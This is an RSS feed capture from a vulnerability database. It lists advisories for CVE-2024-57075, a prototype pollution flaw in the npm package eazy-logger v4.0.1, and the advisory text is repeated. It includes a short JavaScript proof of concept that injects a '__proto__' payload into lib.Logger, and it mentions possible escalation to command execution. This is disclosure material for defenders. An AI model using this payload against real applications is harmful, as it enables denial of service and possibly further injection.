https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 14 Oct 2026 18:23:33 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-222392 EUVD-2026-222392 https://cve.radiocsirt.org/vuln/euvd-2026-222392 https://cve.radiocsirt.org/vuln/fkie_cve-2024-57075 <p>A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.</p> <p>A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-57075 https://cve.radiocsirt.org/vuln/ghsa-r7jx-5m6m-cpg9 <p><strong>Affected:</strong> npm: eazy-logger</p> <p>A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.</p> <p>An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.</p> <p>Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application&#39;s context.</p> <p>## Proof of Concept</p> <p>```js (async () =&gt; { const lib = await import(&#39;eazy-logger&#39;); var someObj = {} console.log(&#34;Before Attack: &#34;, JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.Logger (JSON.parse(&#39;{&#34;__proto__&#34;:{&#34;pollutedKey&#34;:123}}&#39;)) } catch (e) { } console.log(&#34;After Attack: &#34;, JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```</p> <p><strong>Affected:</strong> npm: eazy-logger</p> <p>A prototype pollution in the lib.Logger function of eazy-logger v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.</p> <p>An attacker can supply a payload with `Object.prototype` setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.</p> <p>Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., `child_process.exec`, `eval`), it could enable an attacker to execute arbitrary commands within the application&#39;s context.</p> <p>## Proof of Concept</p> <p>```js (async () =&gt; { const lib = await import(&#39;eazy-logger&#39;); var someObj = {} console.log(&#34;Before Attack: &#34;, JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.Logger (JSON.parse(&#39;{&#34;__proto__&#34;:{&#34;pollutedKey&#34;:123}}&#39;)) } catch (e) { } console.log(&#34;After Attack: &#34;, JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```</p> https://cve.radiocsirt.org/vuln/ghsa-r7jx-5m6m-cpg9 https://cve.radiocsirt.org/vuln/msrc_cve-2024-57075 msrc_CVE-2024-57075 https://cve.radiocsirt.org/vuln/msrc_cve-2024-57075